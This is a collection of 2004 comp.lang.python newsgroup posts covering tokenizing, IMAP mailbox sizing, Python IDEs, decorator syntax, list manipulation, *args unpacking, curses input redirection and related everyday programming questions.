Date: Fri, 10 Sep 2004 11:40:41 +0200 Subject: simple string parsing ? References: <1gjv0gq.mo3tj21rucgmhN%aleaxit@yahoo.com> <1gjw213.4g7jgj1bajn7eN%aleaxit@yahoo.com> Message-ID: <1gjw9t2.q2madt18qcc5hN%aleaxit@yahoo.com> TAG wrote: > > ((Of course, you ARE restricted to what Python considers 'tokens' so you > > may need some postprocessing if you need a slightly different notion of > > tokens)) > > luckily they should all be - but in the case that they are not - how > can I checki it ? With a little post-processing. Say for example that you need := and :+ to be seen as single tokens; here's a Python 2.4 approach...: mergers = {':' : set('=+'), } def tokens_of(x): it = peekahead_iterator(toktuple[1] for toktuple in tokenize.generate_tokens(cStringIO.StringIO(x).readline) ) for tok in it: if it.preview in mergers.get(tok, ()): yield tok+it.preview it.next() else: yield tok x = 'fup(z:=97, y:+45):zap' print list(tokens_of(x)) result is: ['fup', '(', 'z', ':=', '97', ',', 'y', ':+', '45', ')', ':', 'zap', ''] Of course, you do need the handy 'peekahead_iterator', say something like: class peekahead_iterator(object): class nothing: pass def __init__(self, it): self._nit = iter(it).next self.preview = None self._step() def __iter__(self): return self def next(self): result = self._step() if result == self.nothing: raise StopIteration else: return result def _step(self): result = self.preview try: self.preview = self._nit() except StopIteration: self.preview = self.nothing return result Splitting one token into several is easier (no peeking ahead is needed). But both splitting and merging are fine, as long as the deviations between what you want to see as tokens and what Python considers tokens are minor. If you have BIG divergences -- e.g., you do not want to support triple-quoted strings as single tokens -- then you may be better off with a completely different approach, as others have suggested. Alex From pythongnome at hotmail.com Thu Sep 2 17:55:30 2004 From: pythongnome at hotmail.com (Lucas Raab) Date: Thu, 02 Sep 2004 21:55:30 GMT Subject: Announcing PyCs, a new Python-like language on .Net References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net> <1093794853.349452@news.commspeed.net> <41357372.E263DE37@alcyone.com> <8548c5f3.0409010533.1fed5008@posting.google.com> <1hhcev52r31j6.1nier31029dhk.dlg@40tude.net> Message-ID: "Mark Hahn" wrote in message news:1hhcev52r31j6.1nier31029dhk.dlg at 40tude.net... > On 1 Sep 2004 06:33:57 -0700, Anand Pillai wrote: [snip..] >> o How does it differ from Mark Hammond's Python for .NET ? > > Totally different. > BUT HOW IS IT DIFFERENT??? You never answered the question. >> o How does it differ from Jim Hugunin's IronPython ? > > IronPython is an implementation of the compatible current Python on .Net > except for the libraries. PyCs is more like Python 3000 in that it is > incompatible, with advanced Python features. The advanced features are > from Prothon (mostly fixes of Python gotcha's) and from C-Omega. > So it's not like Python if it's incompatible. [snip..] Why not write a paper _clearly_ stating what makes Pyxc different from the other Python .NET implementations?? I'm sure if you have a cleanly written paper all of this mass confusion would not be necessary. Sorry, if this is a flaming post, but nothing seems to be solid on what's going on. From valinor at linuxmail.org Mon Sep 13 11:07:07 2004 From: valinor at linuxmail.org (foten) Date: 13 Sep 2004 08:07:07 -0700 Subject: IMAP - get size of mailboxes References: Message-ID: valinor at linuxmail.org (foten) wrote in message news:... > Hi guys, > I'm trying to make a script (or similar) to display and print the > folder size information for my outlook mailbox. --snip Well, the scipt below seems to be working. Although, it's unbelivable slow! A better way has to exist, not reading every single message from the server to calculate the size. import sys import os import string import imaplib import getpass imap_server = "myserver.com" M = imaplib.IMAP4(imap_server) M.login(getpass.getuser(), getpass.getpass()) result,list = M.list() print "%-30s%5s%10s\n" % ("Folder", "# Msg", "Size") number_of_messages_all = 0 size_all = 0 for item in list[:]: x = item.split() # Don't like this part mailbox = string.join(x[2:]) # or this... result, number_of_messages = M.select(mailbox,readonly=1) number_of_messages_all += int(number_of_messages[0]) size_folder = 0 typ, msg = M.search(None, 'ALL') for num in msg[0].split(): typ, message = M.fetch(num, '(RFC822)') size_folder += len(message[0][1]) print "%-30s%5d%10s" % (mailbox, int(number_of_messages[0]), size_folder); size_all += size_folder print "\n%-30s%5i%10.3f MB\n" % ("Sum", number_of_messages_all, size_all/1e6) M.logout() Result: Folder # Msg Size Outbox 0 0 Journal 0 0 Drafts 10 54245 Notes 20 13265 PocketMirror 1 500 "Test/Mari Nilsson" 23 156401 ... //Fredrik From robmccrea at spaamadelphiaspremoveam.net Mon Sep 13 18:45:45 2004 From: robmccrea at spaamadelphiaspremoveam.net (Rob McCrea) Date: Mon, 13 Sep 2004 18:45:45 -0400 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: References: Message-ID: Carlos Ribeiro wrote: > I'm frustrated. My search for a good IDE to support my activities -- > doing development for Python in the Windows environment -- are not > being succesful as I had originally dreamt. > As mentioned, it's rather fully customizable, easy to add a new file > > type and appropriate extensions My search for a good IDE ended years ago when I started learning C++, and found EditPlus, http://www.editplus.com/ -- $30, free 30 day trial (last I knew.) *Regex find/replace and grep (called "find in files") *Match brace *Custom user tools -- this is what makes it an IDE: For python I only have 2 tools so far (I'm very new to python), execute "python ~thisfile" normally, or with editplus capturing the output. But for c++ I have many, such as "make all", "make debug", execute "~thisproject.exe", "gpp ~thisfile", "gpp *.cpp -o ~thisproject.exe" and from time to time I've tossed up whatever 3rd party application just to have handy on the toolbars. *Customize keyboard shortcuts *record keystrokes for macros *Syntax highlighting (I guess it only comes with HTML, CSS, PHP, ASP, Perl, C/C++, Java, JavaScript and VBScript installed, but they certainly have at least one Python for download, and editing or creating your own is simple enough) (Well -- I just looked, the have many syntax types, Oracle, Pascal, Dephi, MySQL, XHTML, DHTML, Perl, Perlscript, ColdFusion, Lua, C#, mIRC, OpenGL, Apache, FORTRAN, Latex, VisualLisp, Tcl/Tk -- and hell, it's gonna take me forever to get down this list, and those were the few names I've heard of. This large list does suggest alot of people are using editplus. *Autocompletion, for command or function structures (which I don't use) *Cliptext (I do like have the handy list of ascii/ansi symbols for when I forget that '_'==chr(95), or if I just want to click an drag a the copyright symbol someplace, even into another app: ? And for HTML (which is, I suppose, It's specialty) -- it has a seamless IE, or launch whatever browser, and FTP capabilites. But it's more impressive just for it's text editing capabilites: *Column selection! (and column fill) *Line indenting! Need to indent (or dedent) those 20 lines of code? select, then ctrl-i or ctrl-shft-i ! *you can use tabs, or you can use spaces via the tab key, setting tab width is easy. *even allows virtual space *toggleable ruler, line numbers *spellchecker *4 ways to change case: all upper, all lower, reverse, or captilize first left of everyword. *unix and pc fileformat. *auto-backup option *an intresting "autosave" feature, optional for your user tools. For example, I click my tool, and python tells me I have an error, I fix that, and click my tool again to view the new results. I didn't have to save manually, since that's how I have that tool set. *and of course, choose your favorite fonts. *I just realized it does e-mail, I haven't tried that yet. -- most setting are independant based on filetype, perhaps you use TAB for 4 spaces in .py, but you use TAB for a 5-space tab-char in .txt -- no problem. Best of all, it's quick and light. Even wordpad seems to slowdown my comp more than editplus. It does have a very nice finished feel, and, believe it or not, it reminds me more of notepad than any other program. I use win98, it's keep me happy for years. They do practice good customer support. Good luck, Rob --I mean, If I had "column select" before now, I wouldn't have killed anybody. From aleaxit at yahoo.com Fri Sep 10 18:17:27 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 11 Sep 2004 00:17:27 +0200 Subject: package module import name clash with global package References: Message-ID: <1gjx9y3.85025t5mpy3hN%aleaxit@yahoo.com> George P wrote: ... > a) Not use os as my submodule name Best. > a) is not a perfect solution because, well, in my example I've used > "os" to illustrate the problem, but really, who's to predict what > global modules might be installed on a system? And besides, isn't this As long as your package does not use global modulenames coinciding with the ones it contains, you're fine. You don't need to predict anything: if your package needs global modules os, sys, and re, don't have modules named that way in your package. Simple, innit? Alex From ajsiegel at optonline.com Fri Sep 17 09:55:04 2004 From: ajsiegel at optonline.com (Arthur) Date: Fri, 17 Sep 2004 13:55:04 GMT Subject: [Python-Dev] Strawman decision: @decorator won't change References: <15mlk0d63duukvnqtsrb4eguuldqd6ub2g@4ax.com> Message-ID: On Fri, 17 Sep 2004 13:25:13 GMT, "Paul McGuire" wrote: >"Arthur" wrote in message >news:15mlk0d63duukvnqtsrb4eguuldqd6ub2g at 4ax.com... > >> And were it opened for debate you would run into bizarre arguments in >> its defense. Like mine. >> >Well, it *is* opened for debate, so knock yourself out. The more bizarre >the better, I'd say. > >> That there a mechanism in Python described by a arbitrary word, >> "decorator" and provoked by an arbitrary symbol '@' >> >> The symbol *works*, as a sore thumb and a tacit admission of >> something, >> >Why do STOP signs say STOP? Why not put an arbitrary @ sign on them, and >tell everyone it means STOP? STOP means something. Its an English word with a meaning. "@" doesn't mean anything, and communicates the fact that it does not. It invokes electronics. And the word to describe the invocation "decorator" also means nothing. > >Your argument is equally valid for *any* symbol. Why choose this ugly blot? >This arbitrary symbology is the way of Perl and APL. I thought one of the >beauties of Python was that it doesn't impose this kind of obtusity on the >developer or maintainer. Its arbitrariness (and even its ugliness) is an admission of the fact that Python is not attempting to be purely not Perl and not APL. Or purely anyuthing else. > >> It is defended in this view by its anti-esthetic. >> >Are you a Dada-ist? Is Python becoming the Dada language? >(http://arthistory.about.com/cs/arthistory10one/a/dada.htm) Why not. Yes. I am. It always sounded like they were having fun. I am a neo-Dadaist. For today. > >> Having to put up with this kind of argument in its defense is perhaps >> a good reason to not re-open the discussion. >> >This sounds like another way of saying "this is a silly argument, and we >would be better off without it." The point is, just about *all* the >arguments for this symbol or that will from here on *be* silly arguments. There are much more cogent arguments, IMO, that we would be better off without the functionality - then that the symbol matters. I am Dadaist, or nihilist, on this one point. In that it just doesn't seem to matter. So yes, to the extent my attitude is prevalent, it would be difficult to work up a "movement" on the issue. If I thought it mattered, I vote for: :: as suggested by Pail Rubin. Art From __peter__ at web.de Wed Sep 8 13:44:53 2004 From: __peter__ at web.de (Peter Otten) Date: Wed, 08 Sep 2004 19:44:53 +0200 Subject: Remove items from a list References: <9YvPBls/KvrF089yn@the-wire.com> <0oF%c.270317$UTP.260161@twister01.bloor.is.net.cable.rogers.com> Message-ID: Dan Perl wrote: > to forget that. Creating another list from the first one by filtering or > with a list comprehension should be the preferred solution, unless the > intention is to have this list used in more than one place and have the > changes reflected in all those places. Even then there is a less painful solution using slices: >>> a = b = [1,2,3] >>> a[:] = [2*i for i in a if i != 2] >>> a [2, 6] >>> b [2, 6] Peter From jeffrey at fro.man Wed Sep 15 18:45:23 2004 From: jeffrey at fro.man (Jeffrey Froman) Date: Wed, 15 Sep 2004 15:45:23 -0700 Subject: Rotating lists? References: Message-ID: <10khhg62sdgkk59@corp.supernews.com> Ivan Voras wrote: > I need to transform this: > > [1,2,3] > > into this: > > [2,3,1] If in-place transformation is OK, you could use: L = [1,2,3] L.append(L.pop(0)) # left rotation L.insert(0, L.pop()) # right rotation Jeffrey From tjreedy at udel.edu Thu Sep 2 16:44:53 2004 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 2 Sep 2004 16:44:53 -0400 Subject: allowing braces around suites References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no><1rk6vkeo5d.fsf@rovereto.ifi.uio.no><87hdqok9i6.fsf@sinken.local.csis.hku.hk><1rfz68ely9.fsf@rovereto.ifi.uio.no><876574k7du.fsf@sinken.local.csis.hku.hk><1r3c28ejis.fsf@rovereto.ifi.uio.no><1rllg0cb3m.fsf@rovereto.ifi.uio.no><874qmovxna.fsf@sinken.local.csis.hku.hk> Message-ID: "Antoon Pardon" wrote > My experience is that in such a situation, especially > if the local functions grows of you have more > local functions it can become hard to see where the body > of the global function begins. Just looking at the > deindentation is not enough because that could be the > result of a control suite that ended. Using an endmarker > like #def can make finding the beginning of the main > function a lot easier and so make the code more readable > and maintainable. This is what I might do, except maybe as #enddef and in another message > Python seems to do its best so that there is only one way to > do things. Python seems also to do its best force people > to write readable easily maintainable code. Since end markers > can be a tool in this and the only way to have only one way > to do this is if the language includes it, So why doesn't > python has them. Python does -- a dedent. For humans, this can be supplemented -- as you suggested above -- with an ending comment, with specific format chosen by the programmer. The specific form is irrelevant to the interpreter and any sensible form should be generally readable. I agree with others that nesting can be reduced by extracting and naming appropriate chunks of code, I agree with you that as an independent programmer you have no obligation to do so. But I do not see your choice as a reason to add a third endmarker. Not do I see a need to 'standardize' comments used as such. Terry J. Reedy From danperl at rogers.com Thu Sep 30 13:32:15 2004 From: danperl at rogers.com (Dan Perl) Date: Thu, 30 Sep 2004 13:32:15 -0400 Subject: idiom for debug code? Message-ID: Is there a mechanism or an idiom for adding code for debugging so that it can easily be removed in the production code? I am thinking of something similar to the C/C++ preprocessor statements with which you can compile an application with the debug code or without it (the default). Dan From pm_mon at yahoo.com Fri Sep 3 06:39:59 2004 From: pm_mon at yahoo.com (Paul Morrow) Date: Fri, 03 Sep 2004 06:39:59 -0400 Subject: Are decorators really that different from metaclasses... In-Reply-To: References: <20040902024221.GA3626@unpythonic.net> <20040902134641.GE24397@unpythonic.net> Message-ID: Anthony Baxter wrote: > On Thu, 2 Sep 2004 15:48:19 +0000 (UTC), Steven Bethard > wrote: > >>Not to defend Paul's proposal, which I, like many others on this list, still >>find counterintuitive and a break with the current syntax/semantics of Python, >>but I don't think it's fair to say that his proposal will change much >>currently legal code. Grep the Python source for functions with __*__ local >>variable assignments and tell me how many you find. I wasn't able to find >>any, though perhaps my skills with grep are not up to par... For that matter, >>grep any Python source for functions like this. I'd bet you find the same. > > > My arguments against it were nothing to do with breaking existing > code, but were to do with the half-baked nature of the proposal. It's > fairly clear (to me) that it's really not been thought through - Jeff > Epler's code samples showed some of the stupid results that this > proposal would produce. > > I stand by my earlier comments that this is all just hand-waving and > fluff. There's been little concrete effort by Paul to actually spell > out his proposal. I thought that you were done with this thread. You probably should be as you obviously can't follow what we're talking about here. Most of the others seem to. They don't agree with me, that's clear. But they do appear to understand what I am proposing. You don't like this idea. I got that. And it hasn't been presented in the form of a single document, which is certainly something that I'll ultimately need to do. But for you to call this a 'half-baked' idea; to accuse me of not supplying effort to spell things out? I've honestly tried to answer every question/objection presented. I've shown code examples, even grammar rules. This is not just hand-waving here. And your comments are inflamatory. Paul From heikowu at ceosg.de Sat Sep 18 14:08:35 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Sat, 18 Sep 2004 20:08:35 +0200 Subject: args v. *args passed to: os.path.join() In-Reply-To: <20040918132643.74ba4b6d@gypsy.pfortin.com> References: <20040918132643.74ba4b6d@gypsy.pfortin.com> Message-ID: <200409182008.35798.heikowu@ceosg.de> Before applying args or *args to a real world sample, lets see what each of them does: >>> def testfunc(*args): ... print args ... Define a function called testfunc, for which all positional arguments are stored to the tuple args. The body of this functions contains a single statement which prints this tuple to screen. >>> testfunc([1,2,3]) ([1, 2, 3],) The tuple which is printed to screen is the following: a tuple with a single item which is a list which contains the elements 1, 2 and 3 in this order. >>> testfunc(*[1,2,3]) (1, 2, 3) The tuple which is printed to screen is the following: a tuple with the items 1, 2 and 3 in this order. See where we're heading at? Let's see another example. >>> def testfunc2(a,b): ... print a ... print b ... Lets define another function which takes two arguments (a, b) and prints them out in order. >>> testfunc2([1,2]) Traceback (most recent call last): File "", line 1, in ? TypeError: testfunc2() takes exactly 2 arguments (1 given) Lets call this function with a single argument (a list, which contains the two items). The interpreter duly complains that the function takes two arguments, but only one is given, and raises a TypeError. >>> testfunc2(*[1,2]) 1 2 Again, using the star syntax: We pass two arguments (because the list which is starred contains two arguments), and these end up in a and b, respectively. So, what does the star-operator do? It splits up an iterable (a list in this case) and fills the first len(iterable) positional arguments with the values it got from the list. This is why you see different behavior when passing a star or not. Let's look at the documentation for os.path.join: join(a, *p) Join two or more pathname components, inserting '/' as needed This means that you have to pass at least one argument (a), which is the path base, and may pass more arguments (*p) which are joined with this item, inserting slashes as needed. Now, when you call: os.path.join(["a","b"]) the list ends up in the a parameter, and because the function doesn't have to do anything (there are no more arguments), the list is returned unchanged (although this should probably raise a TypeError, anyone?). But when you call: os.path.join(*["a","b"]) the first item of the list ends up as parameter a to the function, the second item of the list ends up as the second parameter to the function, which are then duly joined by the function. And one more look why "".join(*["a","b"]) raises an error: join(...) S.join(sequence) -> string Return a string which is the concatenation of the strings in the sequence. The separator between elements is S. The documentation for str.join() states that you pass it one parameter, a sequence. Now, when you do "".join(*["a","b"]), the number of passed parameters is two, and because the function only accepts one parameter, a sequence, the function call raises an Exception. HTH! Heiko. From peter at engcorp.com Wed Sep 15 19:05:44 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 15 Sep 2004 19:05:44 -0400 Subject: thread specific sys.stdout? In-Reply-To: References: Message-ID: <4Kudnc-ZFdxUV9XcRVn-iA@powergate.ca> aurora wrote: > On Wed, 15 Sep 2004 23:14:47 +0200, Diez B. Roggisch >> class ThreadPrinter: >> def __init__(self): >> _.fhs = {} >> >> def write(self, value): >> f = _.fhs.get(threading.currentThread(), .... > Thanks this is a nice idea. I hope Python would actually support the > '_' syntax. The self really reduce readablity, especially if you have > several of them in one line. It does! One just has to be consistent within each function. Diez changed the code from something like this: def __init__(_): _.fhs = {} def write(_, value): f = _.fhs.get(threading.currentThread(), ... Some would argue that this is actually less readable, however, since it uses punctuation instead of a word. If nothing else, you run into a bit of a conflict between your own technique, with "_", and the vast majority of the rest of the Python world, which uses "self" exclusively, leading to situations like this one... (I think if I had a routine that really heavily used self, to the obvious detriment of readability, and it wasn't clear how else to improve it, I would use a local assignment at the top to make a shorter name, perhaps "s", or even "_" -- but I wouldn't use the possibility of such a thing as a justification for using _ everywhere.) -Peter From donn at drizzle.com Sun Sep 5 01:05:13 2004 From: donn at drizzle.com (Donn Cave) Date: Sun, 05 Sep 2004 05:05:13 -0000 Subject: Is it possible?: cat text.txt | python_script_which_also_gets_user_input.py References: <413a06fc@news.kullen.rwth-aachen.de> <413A7E1B.4030607@cs.com> Message-ID: <1094360712.39356@yasure> Quoth "Robert M. Emmons" : |> I run in a problem with a script, that shall work similar like the c-program |> "most". It should be able to get some text on execution via a pipe but also |> is interactive by the user via the curses module (for scrolling and stuff). |> The problem is: if you call the script like that, you connect stdin to |> text.txt and any later keyboard input is ignored, since curses also reads |> from stdin. |> I have the rather blurry impression that this could be possible with |> threading or forking inside the script, but I nether did things like that |> before and am hopeful to get some cool advice from you experienced | | I'm not sure, I've not tried this. The suggestion I'd have is redirect | the the input that curses reads to /dev/tty if you can figure out how to | do that. | | Python does have some redirection capability built in the the sys | module, i.e. it's possible to separate sys.stdin and sys.__stdin__ and | handle them sepratelty. Just for tty direct IO, that would be easy. I | just don't know about curses, because it probably is outside of python. /dev/tty sounds like a good bet to me -- assuming we're on UNIX. I wouldn't waste much time on sys.stdin - might work, but likely sys.stdin is irrelevant to curses. File redirection that's effective across all I/O in the process happens at the UNIX file descriptor level, with functions like posix.dup2(). Try this - txt = os.fdopen(os.dup(0), 'r') os.close(0) os.open('/dev/tty', os.O_RDONLY) I believe some applications in this position simply use unit 2, rather than opening /dev/tty, since it's highly likely to be open on the terminal. While 2 is normally used for write access only, 0, 1 and 2 are all just dups of the same read/write file descriptor open on the tty. Donn Cave, donn at drizzle.com From Keith.Bolton at batescapital.com Mon Sep 27 11:44:52 2004 From: Keith.Bolton at batescapital.com (Keith Bolton) Date: Mon, 27 Sep 2004 08:44:52 -0700 Subject: Catching Exceptions. Message-ID: I am handling exceptions currently using try, except. Generally I don't handle specific exceptions and am catching all. Then if an exception occurs, I would like to capture that error string. However, in the documentation it seems like there is not a way to get the extra str data if you are handling all exceptions and not specifically. Is there? thanks -keith From michele.simionato at gmail.com Tue Sep 14 00:16:27 2004 From: michele.simionato at gmail.com (Michele Simionato) Date: 13 Sep 2004 21:16:27 -0700 Subject: Greenlets: where are they now??? References: Message-ID: <4edc17eb.0409132016.78efa46d@posting.google.com> Michael Hudson wrote in message news:... > "It is tough to make predictions, especially about the future." > -- Yogi Berra I think I saw this attributed to Nils Bohr. Can somebody check? Michele Simionato From mudd at vex.net Fri Sep 10 15:07:17 2004 From: mudd at vex.net (mudd at vex.net) Date: Fri, 10 Sep 2004 15:07:17 -0400 (EDT) Subject: python to C ? Message-ID: <24972.12.151.80.14.1094843237.squirrel@webmail.vex.net> I seem to remember an announcement on Daily Python-URL in the past year or two about a project that converts Python to C. The goal wasn't to convert generic Python but a limited subset. Something else unique was that the generated C code was sort of object oriented, actually readable. But I don't remember the project name and can't find it even after many tries with Google, Vaults of P., etc. And it wasn't Pyrex. Does anyone recognize what I'm describing? John From aleaxit at yahoo.com Mon Sep 27 02:59:38 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 27 Sep 2004 08:59:38 +0200 Subject: Whose is smaller References: <70b3d.1822$uz1.747@trndny03> <7xfz5ein0h.fsf@ruckus.brouhaha.com> <1gkdk3g.3ivp7amnqsw1N%aleaxit@yahoo.com> <1gkqqmt.ng7g3h14zievbN%aleaxit@yahoo.com> <9d2k22-tj1.ln1@lairds.us> Message-ID: <1gkrkm5.qym338odcsluN%aleaxit@yahoo.com> Cameron Laird wrote: ... > Is Linux practical on these boxes? Never got 'sleep' to work (there's supposed to be a 'hybernate' thingy, but I haven't found it to work reliably either). AFAIMC, that's the biggie; everything else is fine. > How do touch-typists like them Just fine (the 10.5" P2000 -- can't speak for the even-smaller P1000s). Alex From mauriceling at acm.org Mon Sep 20 00:23:28 2004 From: mauriceling at acm.org (Maurice LING) Date: Mon, 20 Sep 2004 04:23:28 GMT Subject: Using PLY In-Reply-To: <4b39d922.0409171206.1ed5003d@posting.google.com> References: <414a6ca1$1@news.unimelb.edu.au> <4b39d922.0409171206.1ed5003d@posting.google.com> Message-ID: <414e5b3d$1@news.unimelb.edu.au> > > Here's a kludgy but quick solution- modify the LexToken class in > lex.py to keep track of number of type occurences. > > class LexToken(object): # change to new style class > type_count = {} # store the count here > def __setattr__(self, key, value): > if key == 'type': > # when type attribute is assigned, increment counter > if value not in self.type_count: > self.type_count[value] = 1 > else: > self.type_count[value] += 1 > object.__setattr__(self, key, value) > > # ... and proceed with the original definition of LexToken > > def __str__(self): > return "LexToken(%s,%r,%d)" % > (self.type,self.value,self.lineno) > def __repr__(self): > return str(self) > def skip(self,n): > try: > self._skipn += n > except AttributeError: > self._skipn = n > ----------------------------------------- > > After you've run the lexer, lex.LexToken.type_count will the contain > number of occurences of each token type. > > ----------------------------------------- > > (Caveats- 1. I haven't tested this code. 2. I've got PLY 1.3; > syntax may have changed in newer versions. In fact, I hope it's > changed; while PLY works very well, its usage could be way more > pythonic) Thank you, it works well. I think this should be included in the next release. I am able to do a "print lex.LexToken.type_count" after each token and it did show the incremental numbers of each tokens, except t_ignore. Thanks again maurice From claird at lairds.us Mon Sep 27 14:08:05 2004 From: claird at lairds.us (Cameron Laird) Date: Mon, 27 Sep 2004 18:08:05 GMT Subject: open and shut case References: <41582214.1080708@heneryd.com> Message-ID: <180m22-p11.ln1@lairds.us> In article , Erik Heneryd wrote: >Erik Heneryd wrote: >> Dennis Lee Bieber wrote: >> >>> On Sun, 26 Sep 2004 16:55:48 GMT, "Elaine Jackson" >>> declaimed the following in >>> comp.lang.python: >>> >>> >>>> "Cameron Laird" wrote in message >>>> news:nf1i22-7hd.ln1 at lairds.us... >>>> | Did this [some snipped code] meet your needs, Ms. Jackson? >>>> >>>> Here's what it does: >>>> >>>> >>>>>>> import os, win32api >>>>>>> pid = os.spawnlp(os.P_NOWAIT, "iexplore.exe", >>>> >>>> >>>> "iexplore.exe",r"c:\blabla\hej.html") >>>> >>>> Traceback (most recent call last): >>>> File "", line 1, in -toplevel- >>>> pid = os.spawnlp(os.P_NOWAIT, "iexplore.exe", >>>> "iexplore.exe",r"c:\blabla\hej.html") >>>> AttributeError: 'module' object has no attribute 'spawnlp' >>>> >>> >>> >>> It seems the spawn family doesn't have the "search in PATH" >>> option... os.execlp does exist, but likely doesn't do what you want >>> either... >>> >> >> It does, see http://docs.python.org/lib/os-process.html. >> exec* replaces the current process, so you can't use that if you expect >> it to return. I can't see why my code shouldn't work (though I'm not on >> a Windows box so I can't test it). > >Forget about it. I just actually read the spawn* docs: > >Availability: Unix, Windows. spawnlp(), spawnlpe(), spawnvp() and >spawnvpe() are not available on Windows. New in version 1.6. . . . This is silly. Ms. Jackson has asked for an *extremely* basic technique. I don't have a Win* keyboard within reach, and am reluctant to speculate, at this point. I'm certain, though, that her question has multiple simple answers. Ms. Jackson, how urgent is your need? Does someone else want to chip in with conclusive information? From jdc at uwo.ca Thu Sep 2 21:39:25 2004 From: jdc at uwo.ca (Dan Christensen) Date: Thu, 02 Sep 2004 21:39:25 -0400 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <0qKdnZXAHfyPyKrcRVn-sg@powergate.ca> Message-ID: <87acw86she.fsf@uwo.ca> I'm not sure I buy the arguments against an index operation for tuples. For example, suppose we were conducting a vote about something, hmm, let's say decorator syntax. And suppose that each person is allowed three distinct votes, ranked in order, with the first vote getting 3 points, the second 2, and the third 1. We might store the votes in a database, whose rows would naturally be tuples like ('J2', 'C64', 'X11') Now suppose we want to calculate the total number of points for proposal X, but don't need to compute the totals for the other choices. Code like the following would be a pretty natural approach: for row in rows: try: points += 3-row.index(X) except: pass I realize that there are different ways to code it, but most are simply reimplementations of the proposed index function. Dan From albalmer at att.net Thu Sep 9 18:36:29 2004 From: albalmer at att.net (Alan Balmer) Date: Thu, 09 Sep 2004 15:36:29 -0700 Subject: Xah Lee's Unixism References: <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> Message-ID: <2ql1k0t2cgjbmgp34ir47sv5u9ifv5tmem@4ax.com> On Thu, 09 Sep 2004 23:06:57 +0200, "John Thingstad" wrote: >On Thu, 09 Sep 04 13:12:17 GMT, wrote: > > >> I really want to know. People keep saying this but never say which >> freedoms have been lost. >> > >Since this is somewhat related to computer programming and AI I will reply. > >The US has started a initiative to integrate all information about people >in the USA into a central database. Where have you been? This has been happening for years, in fits and starts punctuated by ACLU lawsuits. The current political climate (including the Patriot Act) may expedite the process by providing more money and (possibly) better coordination between agencies, but it's nothing new. > >This includes confidential information like your medical files. Think what >you say to your psychologist is confidential? Think again. Being paranoid >can be enough to get a "red flag". >They will have access to all your credit records and will monitor all your >travels in and out of the country. >If you buy flowers on the apposite side of town they can deduce that you >have a lover and >use this as a means of distortion. (Edgar A. Hoover style) > Most of the above is speculative fiction. BTW, did you mean "extortion"? Distortion is what we see a lot of here, though Hoover may have done some of that too. -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From lbates at swamisoft.com Mon Sep 13 16:07:04 2004 From: lbates at swamisoft.com (Larry Bates) Date: Mon, 13 Sep 2004 15:07:04 -0500 Subject: PIL - setting the width of lines in ImageDraw References: <4145fc21$0$273$edfadb0f@dread12.news.tele.dk> Message-ID: When you want lines wider than 1px you are actually drawing rectangles with fillcolor set to the line color. There is a drawrectangle method. You should also take a look at www.reportlab.com (the ReportLab Graphics module is great). I use it to do almost all my graphing from Python. Larry Bates Syscon, Inc. "Max M" wrote in message news:4145fc21$0$273$edfadb0f at dread12.news.tele.dk... > I am using PIL to generate som graphs, like: > > draw = ImageDraw.Draw(im) > for graph in self.graphs: > polygon = graph.getPolygon() > draw.polygon(polygon, outline=graph.color) > del draw > > But the linewidth of my polygon is only one pixel wide. Is there any way > to set it to something else? > > (How nice it would be to have css compatible parameters on polygons, > like: draw.polygon(polygon, border="1px solid gray")) > > I have read the docs, and browsed the source. But me being a lowly > Windows developer I stopped at _imaging.py module, which the ImageDraw > module apparantly use to do the actual drawing. > > > regards Max M From Brian.Inglis at SystematicSW.Invalid Thu Sep 9 07:48:17 2004 From: Brian.Inglis at SystematicSW.Invalid (Brian Inglis) Date: Thu, 09 Sep 2004 11:48:17 GMT Subject: Xah Lee's Unixism References: <413f6044.512285562@News.individual.net> <1712.747T640T11304157@kltpzyxm.invalid> Message-ID: On 08 Sep 04 18:50:12 -0800 in alt.folklore.computers, "Charlie Gibbs" wrote: >In article <413f6044.512285562 at News.individual.net>, iddw at hotmail.com >(Dave Hansen) writes: >>ObUnix: Max OS X has a "ditto" command that's the same as "cp" only >>different. > >Wasn't "ditto" the name of one of those console-driven mainframe >utilities that would copy anything to anything? (Another version >was known as DEBE, which stood for "Does Everything But Eat".) >I got my hands on some source code and got one working on the Univac >9400 and 90/30. Thanks to our convention of prefixing such utility >program names with "UV" (for Univac Vancouver), it wound up being >called UVDITO (so that it would fit into the 6-character name limit). IBM DOS/VSE Data Interfile Transfer, Testing, and Operations utility -- Thanks. Take care, Brian Inglis Calgary, Alberta, Canada Brian.Inglis at CSi.com (Brian[dot]Inglis{at}SystematicSW[dot]ab[dot]ca) fake address use address above to reply From skip at pobox.com Fri Sep 17 10:20:51 2004 From: skip at pobox.com (Skip Montanaro) Date: Fri, 17 Sep 2004 09:20:51 -0500 Subject: Weekly Python Patch/Bug Summary In-Reply-To: <200409170414.i8H48pF8022459@h006008a7bda6.ne.client2.attbi.com> References: <200409170414.i8H48pF8022459@h006008a7bda6.ne.client2.attbi.com> Message-ID: <16714.62147.810666.375480@montanaro.dyndns.org> Kurt> Patch / Bug Summary Kurt> ___________________ Kurt> Patches : 241 open ( -6) / 2622 closed (+26) / 2863 total (+20) Kurt> Bugs : 764 open ( +6) / 4453 closed (+38) / 5217 total (+44) Kurt> RFE : 150 open ( +2) / 131 closed ( +0) / 281 total ( +2) Let me take the opportunity to thank Kurt for providing this excellent summary (much better than my original hack) and invite the larger Python community to participate in Python's development by reviewing patches and bug reports. If you're new to Python development, I urge you to read http://www.python.org/dev/dev_intro.html especially the "Helping Out" section. Skip From peter at engcorp.com Fri Sep 17 16:17:47 2004 From: peter at engcorp.com (phansen) Date: Fri, 17 Sep 2004 16:17:47 -0400 Subject: smtplib (111, 'Connection refused') In-Reply-To: References: Message-ID: Josh Close wrote: > I'm using the smtplib module and I keep getting this 